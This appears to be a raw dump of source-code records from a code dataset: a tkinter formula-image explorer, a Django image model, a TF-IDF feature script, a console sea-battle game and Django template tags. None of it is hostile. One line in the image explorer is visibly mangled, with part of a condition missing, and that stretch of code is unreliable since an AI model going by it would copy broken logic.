lambda: self.addFormula(\"i\"), padx=5)\r\n self.bfi.grid(row=1, column=1)\r\n\r\n self.bfj = tk.Button(self.formulaFrame, text='j', bg=secondaryColor, command= lambda: self.addFormula(\"j\"), padx=5)\r\n self.bfj.grid(row=1, column=2)\r\n\r\n self.bfalpha = tk.Button(self.formulaFrame, text='α', bg=secondaryColor, command= lambda: self.addFormula(\"alpha\"))\r\n self.bfalpha.grid(row=1, column = 3)\r\n\r\n self.bfbeta = tk.Button(self.formulaFrame, text='β', bg=secondaryColor, command= lambda: self.addFormula(\"beta\"))\r\n self.bfbeta.grid(row=1, column = 4)\r\n\r\n self.bf1 = tk.Button(self.formulaFrame, text='exp', bg=secondaryColor, command= lambda: self.addFormula(\"exp\"))\r\n self.bf1.grid(row=1, column = 5)\r\n\r\n self.bf2 = tk.Button(self.formulaFrame, text='cos', bg=secondaryColor, command= lambda: self.addFormula(\"cos\"))\r\n self.bf2.grid(row=1, column = 6)\r\n\r\n self.bf3 = tk.Button(self.formulaFrame, text='sin', bg=secondaryColor, command= lambda: self.addFormula(\"sin\"))\r\n self.bf3.grid(row=1, column = 7)\r\n\r\n self.userDefEntry = scrolledtext.ScrolledText(self.formulaFrame, width=60, height=10)\r\n self.userDefEntry.insert(END, \"# Your definitions here.\\n# They will be imported in the module 'user'.\")\r\n self.userDefEntry.grid(row=1, column=1, columnspan=5, pady =20)\r\n\r\n self.formulaEntry = tk.Entry(self.formulaFrame, textvariable=self.formula, width=60)\r\n self.formulaEntry.grid(row=2, column=1, columnspan=5, pady =20)\r\n\r\n self.bApply = tk.Button(self.formulaFrame, text='Apply', bg=secondaryColor, command=self.applyFunction)\r\n self.bApply.grid(row=2, column=6)\r\n\r\n self.bClear = tk.Button(self.formulaFrame, text='Clear', bg=secondaryColor, command=self.clearFunction)\r\n self.bClear.grid(row=2, column=7)\r\n\r\n self.bSaveIm = tk.Button(self.formulaFrame, text='Save Image', bg=secondaryColor, command=self.saveImg)\r\n self.bSaveIm.grid(row=3, column=1)\r\n\r\n self.bSaveParams = tk.Button(self.formulaFrame, text='Save Parameters', bg=secondaryColor, command=self.saveParams)\r\n self.bSaveParams.grid(row=3, column=2)\r\n\r\n self.bLoadParams = tk.Button(self.formulaFrame, text='Load Parameters', bg=secondaryColor, command=self.loadParams)\r\n self.bLoadParams.grid(row=3, column=3)\r\n\r\n self.formulaFrame.grid(row=2,column=2)\r\n\r\n\r\n ## -- PRESETFRAME -- ##\r\n\r\n self.presetFrame = tk.Frame(self.root, bg=mainColor)\r\n self.bPreset1 = tk.Button(self.presetFrame, text='Preset 1', bg=secondaryColor, command= lambda: self.preset(0))\r\n self.bPreset1.grid(row=1, column = 1, padx=10, pady=15)\r\n self.bPreset2 = tk.Button(self.presetFrame, text='Preset 2', bg=secondaryColor, command= lambda: self.preset(1))\r\n self.bPreset2.grid(row=1, column = 2, padx=10, pady=15)\r\n self.bPreset3 = tk.Button(self.presetFrame, text='Preset 3', bg=secondaryColor, command= lambda: self.preset(2))\r\n self.bPreset3.grid(row=1, column = 3, padx=10, pady=15)\r\n\r\n self.presetFrame.grid(row=3,column=2)\r\n\r\n self.label = tk.Label(self.root)\r\n\r\n self.genImg()\r\n\r\n self.root.mainloop()\r\n\r\n def genImg(self, event = None):\r\n\r\n resx = self.sl6.get()*1600//100\r\n resy = self.sl6.get()*900//100\r\n offx = 640*2*(self.sl3.get())/10000\r\n offy = 360*2*(self.sl4.get())/10000\r\n\r\n minx = (-640*2/2)/100\r\n maxx = (+640*2/2)/100\r\n miny = (-360*2/2)/100\r\n maxy = (+360*2/2)/100\r\n stepx = (maxx-minx)/resx\r\n stepy = (maxy-miny)/resy\r\n\r\n printInterval = False\r\n if printInterval:\r\n print(\"Interval x:\",minx,maxx)\r\n print(\"Interval y:\",miny,maxy)\r\n\r\n x = np.arange(minx, maxx, stepx)\r\n y = np.arange(miny, maxy, stepy)\r\n xx, yy = np.meshgrid(x, y, sparse=True)\r\n\r\n self.updateSliderParameters()\r\n res = func(xx,yy,offx,offy,self.activeFunction)\r\n res = res.transpose()\r\n\r\n if res.shape[1] > resy: #fix potential floating error imprecision\r\n res = res[:,:-1]\r\n\r\n normalized = False\r\n if normalized:\r\n res = 256*res/np.max(res)\r\n\r\n if self.randomModulation.get():\r\n randMat = np.random.rand(res.shape[0],res.shape[1])\r\n res = res*randMat\r\n\r\n if self.colorMode.get()==\"HSV\":\r\n\r\n type0 = \"uint8\"\r\n array = np.zeros((3,resx,resy),type0)\r\n array[0,:,:] = res % (256*256*256)\r\n array[1,:,:] = np.full((res.shape[0],res.shape[1]), self.sl_s_value.get(), type0)\r\n array[2,:,:] = np.full((res.shape[0],res.shape[1]), self.sl_v_value.get(), type0)\r\n\r\n elif self.colorMode.get()==\"RGB\":\r\n scale = self.sl_rgb_scale.get()\r\n max_value = min(scale, 256)\r\n\r\n array = np.zeros((3,resx,resy),'uint8')\r\n array[0,:,:] = res % max_value\r\n array[1,:,:] = (res/max_value) %max_value\r\n array[2,:,:] = (res/(max_value*max_value)) %max_value\r\n\r\n else:\r\n array = res\r\n\r\n sigma = self.sl5.get()/100\r\n if sigma > 0:\r\n if array.ndim == 3:\r\n array[0,:,:] = gaussian_filter(array[0,:,:], sigma=sigma)\r\n array[1,:,:] = gaussian_filter(array[1,:,:], sigma=sigma)\r\n array[2,:,:] = gaussian_filter(array[2,:,:], sigma=sigma)\r\n else:\r\n array[:,:] = gaussian_filter(array[:,:], sigma=sigma)\r\n\r\n if self.colorMode.get()== \"HSV\":\r\n array = np.ascontiguousarray(array.transpose(2,1,0))\r\n if (array.shape[0] 0:\r\n print(\"Sigma not zero, cannot play in reasonable time\")\r\n return\r\n self.root.after(100, self.genImg())\r\n\r\n def addFormula(self, string):\r\n txt = self.formula.get()\r\n pos = self.formulaEntry.index(tk.INSERT)\r\n if string in [\"exp\",\"cos\",\"sin\"]:\r\n txt = txt[:pos] + \"np.\"+string+\"()\" + txt[pos:]\r\n if string in [\"i\",\"j\",\"α\",\"β\"]:\r\n txt = txt[:pos]+ string + txt[pos:]\r\n self.formula.set( txt )\r\n print(self.formula.get())\r\n\r\n def applyFunction(self):\r\n self.activeFunction = self.formula.get()\r\n self.updateUserDefLib()\r\n self.genImg()\r\n\r\n def updateUserDefLib(self):\r\n '''Writes text in userdef.py and reloads the module'''\r\n libfile = open(\"userdef.py\", \"w\")\r\n libfile.write(self.userDefEntry.get(\"1.0\", END))\r\n libfile.close()\r\n reload(user)\r\n self.updateSliderParameters()\r\n\r\n def updateSliderParameters(self):\r\n for paramName in self.sliders:\r\n sl = self.sliders[paramName]\r\n # dynamically adjust slider attributes\r\n user.__dict__[paramName] = sl.get()\r\n\r\n def clearFunction(self):\r\n self.activeFunction = \"\"\r\n self.formula.set(self.activeFunction)\r\n\r\n def saveImg(self):\r\n name = simpledialog.askstring(\"\", \"Name of this image?\")\r\n if name: # not None\r\n self.fullImage.convert('RGB').save(\"Images/{}.png\".format(name))\r\n messagebox.showinfo(\"\", \"{}.png saved!\".format(name))\r\n self.saveParams(name)\r\n else:\r\n messagebox.showinfo(\"\", \"Saving cancelled!\")\r\n\r\n def saveParams(self, name=\"\"):\r\n if name == \"\":\r\n name = simpledialog.askstring(\"\", \"Name of this set of parameters?\")\r\n file = open(\"Parameters/\"+name+\".txt\",\"a\")\r\n params = \"formula \"+ self.activeFunction + \"\\n\"\r\n params += \"alpha \"+ str(self.sl1.get())+\"\\n\"\r\n params += \"beta \"+ str(self.sl2.get())+\"\\n\"\r\n params += \"offx \"+ str(self.sl3.get())+\"\\n\"\r\n params += \"offy \"+ str(self.sl4.get())+\"\\n\"\r\n params += \"sigma \"+ str(self.sl5.get())+\"\\n\"\r\n params += \"resolution \"+ str(self.sl6.get())+\"\\n\"\r\n params += \"colorMode \"+ self.colorMode.get() +\"\\n\"\r\n params += \"randomModulation \"+ str(self.randomModulation.get())+\"\\n\"\r\n params += \"sValue \"+ str(self.sl_s_value.get()) + \"\\n\"\r\n params += \"vValue \"+ str(self.sl_v_value.get()) + \"\\n\"\r\n params += \"bwScale \"+ str(self.sl_bw_scale.get()) + \"\\n\"\r\n params += \"rgbScale \"+ str(self.sl_rgb_scale.get()) + \"\\n\"\r\n file.write(params)\r\n file.close()\r\n # self.genImg()\r\n\r\n def loadParams(self):\r\n\r\n filepath = filedialog.askopenfilename(initialdir = \"../colorExplorer/Parameters/\",\r\n title = \"Select parameters file\",\r\n filetypes = ((\"txt files\",\"*.txt\"),(\"all files\",\"*.*\")))\r\n if filepath == ():\r\n return\r\n file = open(filepath,\"r\")\r\n line = \"example\"\r\n while (line != \"\"):\r\n line = file.readline()\r\n words = line.split()\r\n if len(words) <1:\r\n continue\r\n if words[0] ==\"formula\":\r\n self.activeFunction = line[8:-1]\r\n self.formula.set(line[8:-1])\r\n self.formulaEntry.delete(0,END)\r\n self.formulaEntry.insert(0,line[8:-1])\r\n else :\r\n if len(words) != 2:\r\n print(\"Warning : file misread, wrong number of values per line\")\r\n\r\n tags = [\"alpha\", \"beta\", \"offx\", \"offy\", \"sigma\",\r\n \"resolution\", \"colorMode\", \"randomModulation\", \"sValue\", \"vValue\",\r\n \"bwScale\", \"rgbScale\"]\r\n widgets = [self.sl1, self.sl2, self.sl3, self.sl4, self.sl5,\r\n self.sl6, self.colorMode, self.randomModulation, self.sl_s_value, self.sl_v_value,\r\n self.sl_bw_scale, self.sl_rgb_scale]\r\n for i in range(len(tags)):\r\n if words[0] == tags[i]:\r\n widgets[i].set(words[1])\r\n file.close()\r\n self.changeColorMode()\r\n\r\n def preset(self, n):\r\n functions = []\r\n functions.append(\"p1*np.cos(np.sin(i*10/p2))+p1*np.cos(np.sin(j*10/p2))\")\r\n functions.append(\"10000*np.cos( ((i+j)**2)*100/p1 )*np.sin(((i-j)**2)*100/p1)\")\r\n functions.append(\"255*np.sin((i+j*1.8)**2*p1/50+np.cos((i-j*1.8)**2*p2/100)*5)\")\r\n alpha = [110, 93, 19]\r\n beta = [5, 151, 8]\r\n offx = [0, 0, 0]\r\n offy = [0, 0, 0]\r\n sigma = [0, 0, 500]\r\n colorMode = [\"HSV\",\"BW\",\"HSV\"]\r\n randomMod = [False, False, False]\r\n\r\n self.formula.set( functions[n] )\r\n self.sl1.set(alpha[n])\r\n self.sl2.set(beta[n])\r\n self.sl3.set(offx[n])\r\n self.sl4.set(offy[n])\r\n self.sl5.set(sigma[n])\r\n self.colorMode.set(colorMode[n])\r\n self.randomModulation.set(randomMod[n])\r\n\r\n self.applyFunction()\r\n\r\n def newSlider(self):\r\n\r\n def checkSliderName(name):\r\n #reject if name already taken\r\n if name in self.sliders:\r\n return False\r\n #reject if name is not a variable name\r\n #TODO refine this\r\n if \" \" in name:\r\n return False\r\n return True\r\n\r\n newSliderName = self.newSliderName.get()\r\n if not checkSliderName(newSliderName):\r\n return\r\n newSlider = tk.Scale(self.userSliderFrame,from_=0, to=200, orient=tk.VERTICAL, command=self.genImg, length=200, bg= secondaryColor)\r\n newSlider.set(100)\r\n newSlider.grid(row=4,column=len(self.sliders))\r\n tk.Label(self.userSliderFrame, text=\"user.\" + newSliderName,padx=5, pady=5, bg= secondaryColor).grid(row=3,column=len(self.sliders),sticky=\"E\")\r\n self.sliders[newSliderName] = newSlider\r\n\r\n\r\napp = GUI()\r\n","sub_path":"colorExplorer.py","file_name":"colorExplorer.py","file_ext":"py","file_size_in_byte":22449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"387628023","text":"# -*- coding: utf-8 -*-\nfrom django.db import models\nfrom django.contrib.contenttypes import generic\n\nfrom entropy.mixins import EnabledMixin, OrderingMixin\n\nfrom .settings import CONTENT_MODELS, USE_FILEBROWSER\n\nif USE_FILEBROWSER:\n from filebrowser.fields import FileBrowseField\n\n\nclass Image(EnabledMixin, OrderingMixin):\n\n title = models.CharField(blank=True, max_length=1024)\n alt = models.CharField(blank=True, max_length=1024)\n\n content_type = models.ForeignKey(\n 'contenttypes.ContentType',\n limit_choices_to={'model__in': CONTENT_MODELS},\n )\n object_id = models.PositiveIntegerField()\n content_object = generic.GenericForeignKey('content_type', 'object_id')\n\n if USE_FILEBROWSER:\n file = FileBrowseField(\n 'Image file',\n blank=True,\n directory='images/',\n max_length=1024,\n null=True)\n else:\n file = models.ImageField(\n blank=True,\n upload_to='images/',\n max_length=1024,\n null=True)\n\n _url = models.CharField('url', blank=True, max_length=1024)\n\n caption = models.TextField(blank=True, default='')\n\n is_icon = models.BooleanField(default=False)\n is_listing = models.BooleanField(default=False)\n is_mobile = models.BooleanField(default=False)\n\n class Meta:\n verbose_name = 'Attached Image'\n verbose_name_plural = 'Attachable Images'\n\n def __unicode__(self):\n return self.url\n\n @property\n def url(self):\n try:\n return self.file.url\n except AttributeError:\n return self._url\n","sub_path":"images/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"602970471","text":"import os\nimport pandas as pd\nimport csv\nimport linecache\nimport sys\nimport pickle\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import HashingVectorizer\nfrom sklearn.preprocessing import LabelEncoder\nimport matplotlib as mpl\nimport matplotlib.pylab as plt\nimport numpy as np\n# from concurrent.futures import ThreadPoolExecutor\nfrom concurrent.futures import ProcessPoolExecutor\nimport stopwatch\n\nsw = stopwatch.stopWatch()\npool = ProcessPoolExecutor(max_workers=4)\n\nbaseDir = os.path.dirname(os.path.abspath(__file__))\n# 메타 파일 경로\n# metaFilePath = '/Users/whitexozu/dev/project/lgu+/data/lotte_data/lotte_ctgr_data_small.csv'\nmetaFilePath = '/Users/whitexozu/dev/project/lgu+/data/lotte_data/lotte_ctgr_data_medium.csv'\n# metaFilePath = '/Users/whitexozu/dev/project/lgu+/data/lotte_data/lotte_ctgr_data.csv'\n# tfidf 최소값 (최소값 이상으로 정제 하기 위해 사용)\ntfidfMinimum = 0.25\n# category 키워드 보고 여부\nviewCategoryReport = False\n# category call 갯수 보고 여부\nviewCategoryChart = False\n# 불용어\nunusedWord = ['지금', '롯데는', '주십시오', '아예', '그래서', '그리고']\n# 피쳐 파일 경로\nfeatureFilePath = baseDir + '/' + 'tfidfDNNFeature.pickle'\n# category 파일 경로\ncategoryFilePath = baseDir + '/' + 'tfidfDNNCategory.pickle'\n# 모든 call 데이터 저장용 list\ncorpus = []\n# 모든 분류 데이터 저장용 list\ncategoryList = []\ncategoryListLE = [] # LavelEncoder 적용\n# call 전체 건수\nlineCount = 0\n# 문서의 토근 리스트를 소팅하기위해 사용\nvectSort = []\n# call 전체 데이터중 tfidf 최소값 이상의 word를 category별로 취합하기 위한 변수\nwordByCategory = {}\nwordByCategoryReFined = [] # 최소값 제거 및 소팅\n# category별 call 누적 카운트\ncountByCategory = {}\n# category call 갯수 평균\ncategoryMean = 0\n# category call 갯수 평균 이상의 키 목록\ncategoryMeanOrMoreKeys = []\ncategoryMeanOrMoreKeysNLen = []\ncategoryMeanOrMoreKeysNWords = []\n# category call 갯수 평균 이상에 가장 가까운 category 의 단어 갯수\nminWordCount = 0\n# 피쳐 셀렉션\nfeature = []\n\ndef createVectOverWeight(pair):\n global vectSort\n callIdx, tfidfCall = pair\n # 분류 정보로 초기화\n rtnDict = {'category': categoryList[callIdx], 'wordNValues': [], 'wordCount': 0}\n for wordIdx, tfidfWord in enumerate(tfidfCall):\n if tfidfWord > tfidfMinimum:\n rtnDict['wordNValues'].append((vectSort[wordIdx][0], tfidfWord))\n rtnDict['wordCount'] = len(rtnDict['wordNValues'])\n return rtnDict\n\n# 중복 단어 중 tfidf 의 최대값만 유지\ndef deleteDuplicationWord_diff_tfidf(pair):\n wcKey, wcValue = pair\n wordByCategoryDupIndex = []\n for fi, fv in enumerate(wcValue):\n # for si, sv in enumerate(wcValue):\n for si, sv in enumerate(wcValue[fi:], start = fi):\n if fi != si and fv[0] == sv[0] and fv[1] > sv[1]:\n wordByCategoryDupIndex.append(si)\n wordByCategoryDupIndex = list(set(wordByCategoryDupIndex))\n wordByCategoryDupIndex = sorted(wordByCategoryDupIndex, key=lambda idx: idx, reverse=True)\n for di in wordByCategoryDupIndex:\n del wcValue[di]\n wcValue.sort(key=lambda tup: tup[1], reverse=True)\n return wcKey, wcValue\n\n# tfdif 값과 상관없이 중복 제거\ndef deleteDuplicationWord(pair):\n wcKey, wcValue = pair\n return wcKey, [(w, 0) for w in set([w[0] for w in wcValue])]\n\n# 피쳐 생성\ndef dumpFile(data, fileName):\n with open(fileName, 'wb') as fp:\n pickle.dump(data, fp)\n\ndef main():\n global lineCount\n global vectSort\n global feature\n\n try:\n # 메타 데이터 로딩 후 콜배열, 분류배열 에 각각 저장\n sw.start('open corpus file')\n with open(metaFilePath) as metaFile:\n metaReader = csv.reader(metaFile, delimiter='\\t')\n for row in metaReader:\n categoryList.append(row[1])\n corpus.append(row[2])\n lineCount += 1\n # print('lineCount : ', lineCount)\n sw.stop('open corpus file')\n\n print('line count : ', lineCount)\n\n sw.start('label encoder')\n le = LabelEncoder()\n le.fit(categoryList)\n # print(le.classes_)\n categoryListLE = le.transform(categoryList)\n # print(categoryList[0], le.inverse_transform(6))\n sw.stop('label encoder')\n\n # 통계 데이터를 위해 분류별 가중치 이상의 단어들을 담을 dict 생성\n vectOverWeight = [None] * lineCount\n\n # 문서전체의 토큰 리스트 생성\n sw.start('create token list')\n vect = CountVectorizer(stop_words=unusedWord)\n vect.fit(corpus)\n vectSort = sorted(vect.vocabulary_.items(), key=lambda kv: kv[1])\n # print('vectSort len : ', len(vectSort))\n # print('vectSort : ', vectSort)\n sw.stop('create token list')\n\n # call 별 tfidf 추출\n sw.start('transform tfidf')\n tfidv = TfidfVectorizer(stop_words=unusedWord).fit(corpus)\n # ifidfTransList = tfidv.transform(corpus).toarray().tolist()\n ifidfTransList = []\n for i, c in enumerate(corpus):\n ifidfTransList.append(tfidv.transform([c]).toarray()[0])\n sw.stop('transform tfidf')\n\n # sw.start('create hashing vectorizer')\n # hv = HashingVectorizer(n_features=len(vectSort), encoding='utf-8')\n # ifidfTransList = hv.fit_transform(ifidfTransList)\n # sw.stop('create hashing vectorizer')\n\n # for i, t in enumerate(ifidfTransList):\n # print(i, 'ifidfTransList : ', len([w for w in t if w > tfidfMinimum]))\n # print([w for w in t if w > tfidfMinimum])\n\n # tfidf 최소값 초과의 값을 저장\n sw.start('create vectOverWeight')\n vectOverWeight = list(pool.map(createVectOverWeight, enumerate(ifidfTransList)))\n sw.stop('create vectOverWeight')\n\n # category 별 join\n sw.start('join category')\n for rf in vectOverWeight:\n if rf['category'] not in wordByCategory:\n wordByCategory[rf['category']] = []\n wordByCategory[rf['category']] = wordByCategory[rf['category']] + rf['wordNValues']\n if rf['category'] not in countByCategory:\n countByCategory[rf['category']] = 1\n else:\n countByCategory[rf['category']] = countByCategory[rf['category']] + 1\n sw.stop('join category')\n\n print('category count : ', len(countByCategory))\n # for k, v in countByCategory.items():\n # print(k, v)\n\n sw.start('delete duplication word')\n # wordByCategoryReFined = list(pool.map(deleteDuplicationWord, wordByCategory.items()))\n wordByCategoryReFined = list(pool.map(deleteDuplicationWord_diff_tfidf, wordByCategory.items()))\n sw.stop('delete duplication word')\n\n # 구분별 키워드 보고서\n if viewCategoryReport:\n sw.start('report word by category')\n for wcKey, wcValue in wordByCategoryReFined:\n # print(wcKey, [w[0] for w in wcValue])\n print(wcKey, ', doc count : ', countByCategory[wcKey], ', word count : ', len(wcValue))\n print('-----------------------------------------------')\n # print(wcKey, [w[0] for w in wcValue])\n # print('-----------------------------------------------')\n sw.stop('report word by category')\n\n # 카테고리별 문서 갯수 바차트로 생성\n if viewCategoryChart:\n temp = sorted(countByCategory.items(), key=lambda kv: kv[1])\n plt.bar([i for i, tup in enumerate(temp)], [tup[1] for tup in temp], tick_label=[tup[0] for tup in temp], color='C1')\n plt.xlabel('category')\n plt.ylabel('call count')\n plt.title('call count by category')\n plt.show()\n\n # 피쳐 셀렉션\n sw.start('create feature file')\n # 카테고리 call 갯수 평균값\n categoryMean = np.mean([v for k, v in countByCategory.items()])\n print('category call mean : ', categoryMean)\n\n # category call 갯수 평균 이상의 키 목록\n # 상위 퍼센테이지 값을 구해서 적용 예정\n categoryMeanOrMoreKeys = [k for k, v in countByCategory.items() if v > categoryMean]\n print('category call mean or more category count : ', len(categoryMeanOrMoreKeys))\n\n # category call 갯수 평균 이상에 가장 가까운 category 의 단어 갯수\n categoryMeanOrMoreKeysNLen = [(tup[0], len(tup[1])) for tup in wordByCategoryReFined if tup[0] in categoryMeanOrMoreKeys]\n categoryMeanOrMoreKeysNLen.sort(key=lambda tup: tup[1])\n minWordCount = categoryMeanOrMoreKeysNLen[0][1]\n print('minimum word count : ', minWordCount)\n\n # category call 갯수 평균 이상의 category 중 키워드의 가중치가 높은 순으로 동일하게 추출, 추출된 단어를 중복 제거후 피쳐 선정\n categoryMeanOrMoreKeysNWords = [(tup[0], tup[1][:minWordCount]) for tup in wordByCategoryReFined if tup[0] in categoryMeanOrMoreKeys]\n for kws in categoryMeanOrMoreKeysNWords:\n for wv in kws[1]:\n feature.append(wv[0])\n print('feature count : ', len(feature))\n print('feature set count : ', len(set(feature)))\n \n # 선정된 피쳐를 파일로 생성\n dumpFile(list(set(feature)), featureFilePath)\n sw.stop('create feature file')\n\n # category 목록 파일로 생성\n sw.start('create category file')\n dumpFile(categoryMeanOrMoreKeys, categoryFilePath)\n sw.stop('create category file')\n\n except:\n exc_type, exc_obj, tb = sys.exc_info()\n f = tb.tb_frame\n lineno = tb.tb_lineno\n filename = f.f_code.co_filename\n linecache.checkcache(filename)\n line = linecache.getline(filename, lineno, f.f_globals)\n print('EXCEPTION IN ({0}, LINE {1} \"{2}\"): {3} ({4})'.format(filename, lineno, line.strip(), exc_obj, exc_type))\n finally:\n sw.prettyPrint()\n\nif __name__ == '__main__':\n main()","sub_path":"analysis/createTfidfModel/CreateTfidfDNNFeatureExample.py","file_name":"CreateTfidfDNNFeatureExample.py","file_ext":"py","file_size_in_byte":10301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"597201159","text":"from random import randint\r\n\r\nclass BoardException(Exception):\r\n pass\r\n\r\nclass BoardOutException(BoardException):\r\n def __str__(self):\r\n return \"Вы выстрелили за пределы доски\"\r\n\r\nclass BoardUsedException(BoardException):\r\n def __str__(self):\r\n return \"Вы уже стреляли в эту точку\"\r\n\r\nclass BoardWrongShipException(BoardException):\r\n pass\r\n\r\nclass Dot:\r\n def __init__(self, x, y):\r\n self.x = x\r\n self.y = y\r\n\r\n def __eq__(self, other):\r\n return self.x == other.x and self.y == other.y\r\n\r\n def __repr__(self):\r\n return f\"({self.x}, {self.y})\"\r\n\r\nclass Ship:\r\n def __init__(self, ship_coord, lengh, direction):\r\n self.ship_coord = ship_coord\r\n self.lengh = lengh\r\n self.direction = direction\r\n self.lifes = lengh\r\n\r\n @property\r\n def dots(self):\r\n ship_dots = []\r\n for i in range(self.lengh):\r\n co_x = self.ship_coord.x\r\n co_y = self.ship_coord.y\r\n\r\n if self.direction == 0:\r\n co_x += i\r\n elif self.direction == 1:\r\n co_y += i\r\n\r\n ship_dots.append(Dot(co_x, co_y))\r\n\r\n return ship_dots\r\n\r\n def shooten(self, shot):\r\n return shot in self.dots\r\n\r\nclass Board:\r\n def __init__(self, hid = False, size = 6):\r\n self.hid = hid\r\n self.size = size\r\n self.count = 0\r\n self.busy = []\r\n self.ships = []\r\n self.field = [[\"O\"]*size for _ in range(size)]\r\n\r\n def add_ship(self, ship):\r\n for d in ship.dots:\r\n if self.out(d) or d in self.busy:\r\n raise BoardWrongShipException()\r\n for d in ship.dots:\r\n self.field[d.x][d.y] = \"■\"\r\n self.busy.append(d)\r\n self.ships.append(ship)\r\n self.contour(ship)\r\n\r\n def contour(self, ship, verb=False):\r\n around = [\r\n (-1, -1), (-1, 0), (-1, 1),\r\n (0, -1), (0, 0), (0, 1),\r\n (1, -1), (1, 0), (1, 1)\r\n ]\r\n for d in ship.dots:\r\n for dx, dy in around:\r\n co = Dot(d.x + dx, d.y + dy)\r\n if not(self.out(co)) and co not in self.busy:\r\n if verb:\r\n self.field[co.x][co.y] = \"T\"\r\n self.busy.append(co)\r\n\r\n def __str__(self):\r\n res = \"\"\r\n res += \" | 1 | 2 | 3 | 4 | 5 | 6 |\"\r\n for i, row in enumerate(self.field):\r\n res += f\"\\n{i+1} | \" + \" | \".join(row) + \" |\"\r\n\r\n if self.hid:\r\n res = res.replace(\"■\", \"O\")\r\n return res\r\n\r\n def out(self, d):\r\n return not((0 <= d.x < self.size) and (0 <= d.y < self.size))\r\n\r\n def shot(self, d):\r\n if self.out(d):\r\n raise BoardOutException()\r\n\r\n if d in self.busy:\r\n raise BoardUsedException()\r\n\r\n self.busy.append(d)\r\n\r\n for ship in self.ships:\r\n if d in ship.dots:\r\n ship.lifes -= 1\r\n self.field[d.x][d.y] = \"X\"\r\n if ship.lifes == 0:\r\n self.count += 1\r\n self.contour(ship, verb=True)\r\n print(\"Корабль уничтожен!\")\r\n return False\r\n else:\r\n print(\"Корабль ранен!\")\r\n return True\r\n self.field[d.x][d.y] = \"T\"\r\n print(\"Промах!\")\r\n return False\r\n\r\n def begin(self):\r\n self.busy = []\r\n\r\nclass Player:\r\n def __init__(self, board, enemy):\r\n self.board = board\r\n self.enemy = enemy\r\n\r\n def ask(self):\r\n raise NotImplementedError()\r\n\r\n def move(self):\r\n while True:\r\n try:\r\n target = self.ask()\r\n repeat = self.enemy.shot(target)\r\n return repeat\r\n except BoardException as e:\r\n print(e)\r\n\r\nclass AI(Player):\r\n def ask(self):\r\n d = Dot(randint(0, 5), randint(0, 5))\r\n print(f\"Ход компьютера: {d.x+1} {d.y+1}\")\r\n return d\r\n\r\nclass User(Player):\r\n def ask(self):\r\n while True:\r\n coords = input(\"Ваш ход: \").split()\r\n if len(coords) != 2:\r\n print(\"Введите 2 координаты через пробел\")\r\n continue\r\n x, y = coords\r\n if not(x.isdigit()) or not(y.isdigit()):\r\n print(\"Введите числа\")\r\n continue\r\n x, y = int(x), int(y)\r\n return Dot(x-1, y-1)\r\n\r\nclass Game:\r\n def __init__(self, size=6):\r\n self.size = size\r\n pl = self.random_board()\r\n co = self.random_board()\r\n co.hid = True\r\n\r\n self.ai = AI(co, pl)\r\n self.us = User(pl, co)\r\n\r\n def random_board(self):\r\n board = None\r\n while board is None:\r\n board = self.try_board()\r\n return board\r\n\r\n def try_board(self):\r\n lens = [3, 2, 2, 1, 1, 1, 1]\r\n board = Board(size = self.size)\r\n attempts = 0\r\n for l in lens:\r\n while True:\r\n attempts += 1\r\n if attempts > 2000:\r\n return None\r\n ship = Ship(Dot(randint(0, self.size), randint(0, self.size)), l, randint(0, 1))\r\n try:\r\n board.add_ship(ship)\r\n break\r\n except BoardWrongShipException:\r\n pass\r\n board.begin()\r\n return board\r\n\r\n def greet(self):\r\n print(\"-------------------\")\r\n print(\" Приветсвуем вас \")\r\n print(\" в игре \")\r\n print(\" морской бой \")\r\n print(\"-------------------\")\r\n print(\" Формат ввода: x y \")\r\n print(\" x - номер строки \")\r\n print(\" y - номер столбца \")\r\n print(\"-------------------\")\r\n print(\" Выйграет тот, кто \")\r\n print(\" уничтожит корбали \")\r\n print(\" противника ПЕРВЫЙ \")\r\n\r\n def loop(self):\r\n num = 0\r\n while True:\r\n print(\"-\" * 20)\r\n print(\"Доска пользователя:\")\r\n print(self.us.board)\r\n print(\"-\" * 20)\r\n print(\"Доска компьютера:\")\r\n print(self.ai.board)\r\n print(\"-\" * 20)\r\n if num % 2 == 0:\r\n print(\"-\" * 20)\r\n print(\"Ход пользователя!\")\r\n repeat = self.us.move()\r\n else:\r\n print(\"-\" * 20)\r\n print(\"Ход компьютера!\")\r\n repeat = self.ai.move()\r\n if repeat:\r\n num -= 1\r\n if self.ai.board.count == 7:\r\n print(\"-\"*20)\r\n print(\"Выйграл пользователь!\")\r\n break\r\n if self.us.board.count == 7:\r\n print(\"-\" * 20)\r\n print(\"Выйграл компьютер!\")\r\n break\r\n num += 1\r\n\r\n def start(self):\r\n self.greet()\r\n self.loop()\r\n\r\n\r\nga = Game()\r\nga.start()\r\n","sub_path":"sea-battle.py","file_name":"sea-battle.py","file_ext":"py","file_size_in_byte":7311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"237193604","text":"import django.template\nfrom google.appengine.api import users\nimport django.utils.safestring\nfrom puzzles.models import *\n\nregister = django.template.Library()\n\n@register.inclusion_tag('puzzle_listings.html')\ndef show_puzzles(puzzles):\n return {'puzzles':puzzles}\n\n@register.inclusion_tag('solution_listings.html')\ndef show_solutions(puzzle):\n solutions = puzzle.solution_set\n return {'solutions': solutions}\n\n@register.inclusion_tag('vote_widget.html')\ndef vote_widget(solution):\n user = users.get_current_user()\n most_recent_vote = solution.get_votes_by(user, limit=1)\n voted_up = False\n voted_down = False\n if most_recent_vote and most_recent_vote[0]:\n\n most_recent_vote = most_recent_vote[0]\n #print(most_recent_vote.weight)\n if most_recent_vote.weight > 0:\n voted_up = True\n else:\n voted_down = True\n\n votes = solution.votes\n if votes < 0:\n votes = 0\n return {'solution':solution, 'voted_up':voted_up, 'voted_down':voted_down, 'votes':votes}\n\n","sub_path":"puzzles/templatetags/template_library.py","file_name":"template_library.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"546454479","text":"# TODO Sep 08 version\nimport numpy as 